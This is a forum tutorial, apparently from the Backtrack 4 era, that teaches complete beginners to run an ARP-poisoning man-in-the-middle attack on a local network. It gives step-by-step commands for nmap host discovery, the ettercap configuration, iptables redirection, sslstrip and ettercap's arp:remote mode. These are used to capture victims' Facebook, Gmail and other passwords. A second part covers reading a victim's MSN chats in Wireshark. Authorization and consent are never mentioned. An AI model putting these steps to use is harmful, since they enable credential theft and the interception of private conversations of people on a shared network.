Sniffing Passwords&Conversations, MITM APR poisoning
I've seen tutorials in here for sniffing and MITM attacks, but most of them are hard for following if you are a beginner that is why I decided to make my own TUT about sniffing, that even the COMPLETE NOOB would understand it. In order to make this tutorial more easily understandable, I also included IMAGES in the tutorial so that you can see output messages and compare them to yours. So... lets start with the tutorial 👍 👍
!!! IMPORTANT !!!
*** If you don't want to be just another script kiddie I strongly recommend you to read this first [INFO] ARP Poisoning - FULL EXPLANATION [/INFO] **
REQUIREMENTS:
-ettercap
-sslstrip
-wireshark
-nmap
All the tools that we are going to use come with Backtrack 4 R1(download: http://www.backtrack-linux.org/downloads/ ) so no need to worry about that ✌ After Backtrack 4 R1 ISO is downloaded best option would be to BURN the .iso file to a DVD or USB and make a Live DVD/USB. If you don't know how to BURN .iso file to DVD or USB ask here : http://google.com 😁
If never the less you want to use another Linux Distro then use this commands in order to install these tools:
Code
Ubuntu:
sudo apt-get install ettercap //installs ettercap latest version automatically
sudo apt-get install wireshark //installs wireshark latest version automatically
sudo apt-get install nmap //installs nmap latest version automatically
Red Hat:
sudo yum install ettercap //installs ettercap latest version automatically
sudo yum install wireshark //installs wireshark latest version automatically
sudo yum install nmap //installs nmap latest version automatically*sslstrip can't be installed this way so you have to install it manually.
/ THIS IS NOT FOR WINDOWS SO PLEASE DON'T ASK ME HOW TO DO THIS UNDER WINDOWS *\
Assuming that Backtrack 4 R1 ISO is successfully burned just boot your system from the DVD/USB and you will be taken to Backtrack 4 R1. Also if you are using another distro check if you successfully installed the necessary programs.
Now once you are in Backtrack you need to enable networking. In order to do that open konsole/terminal and type:
Code
/etc/init.d/wicd startOnce networking is enabled we need to find our victims. When we are here the ones that don't know nothing about MITM attacks should read http://en.wikipedia.org/wiki/Man-in-the-middle_attack & http://en.wikipedia.org/wiki/ARP_spoofing so that you can understand better what and why I'm going to do otherwise you would just be script kiddies that learnt the copy-paste command and became hackers... 😕 Assuming that you guys read these articles you now know that always the first target when doing APR poisoning is the GATEWAY so we find the gateway with:
Code
route[img]http://img695.imageshack.us/img695/3768/routec.jpg[/img]
In some cases under the GATEWAY you get an IP but as you can see in my case under GATEWAY it says speedtouch.lan in order to get the IP simply use:
Code
ping <your_gateway_name>or use
Code
route -nThis will give the same results as above only instead of host names it will give you their IP addresses.
Once you have the gateway you need to get your second target or the VICTIM. We do that by scanning the subnet with nmap. If you are gateway is for example 192.168.1.254 then your subnet is 192.168.1.1 that is why we use the following command:
Code
nmap -sP 192.168.1.1/24[img]http://img840.imageshack.us/img840/259/nmap.jpg[/img]
After you choose your victim which is your second target for APR poisoning keep that IP together with your GATEWAY IP cause from now on you will have to replace these IPs instead of the Target 1 and Target 2 IPs in the tutorial. In my case the victim and Target 2 is 192.168.1.65.
Ok now we need to enable IP tables:
Code
nano /etc/etter.confNow you need to scroll down and find the following:
Code
# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"And replace(just delete the '#' signs before redir_command) with this:
Code
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"Hit 'CTRL+X' then 'y' then ENTER.
Now we create our IP tables rule and we enable IP forwarding:
Code
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
echo 1 > /proc/sys/net/ipv4/ip_forward[img]http://img833.imageshack.us/img833/7294/iptables.jpg[/img]
Now you need to find the interface you are using. Do that by typing:
Code
ifconfigThe interface you need, is the one that contains your IP address. In my case it is eth0.
EVERYTHING till now was a preparation for the attack. The actual attack begins now ! 🤩
First we need to start sslstrip:
Code
sslstrip -a -k -fThen open another terminal and run ettercap:
Code
ettercap -T -i eth0 -q -M arp:remote /192.168.1.254/ /192.168.1.65/[img]http://img213.imageshack.us/img213/1374/ettercap.jpg[/img]
THIS IS IT GUYS YOU DID IT !!! Now every time the victim logs in to Facebook, gmail, hotmail ,yahoo or any other site the password will be showed in the ettercap window. When you want to stop the attack just hit 'q' and targets will be re-arped.
Sniffing MSN conversation
Ok so this is the second part from this tutorial and it starts exactly where the previous ended. After you launched ettercap( ettercap -T -i wlan0 -q -M arp:remote /192.168.1.254/ /192.168.1.65/ --> after this command ) open another terminal and start Wireshark. Because all the traffic from the victim is going through you with the use of packet analyzer like Wireshark you would be able to sniff MSN conversations cause the packets are actually going through your PC first. In the new terminal type:
Code
wiresharkAfter Wireshark starts you will need to select your interface. Use the same interface that you used in the previous part. Now you will be able to see a lot of datas. In order to get only the MSN packets in the filter tab write:
Code
msnmsNow each packet you get is only from msn and you will search for the conversation in the bottom tab. Just go through the packets and see which one contains the conversations.
THE END
Feel free to ask for everything that you can't understand!


![[Image: gjB6d.png]](https://i.imgur.com/gjB6d.png)
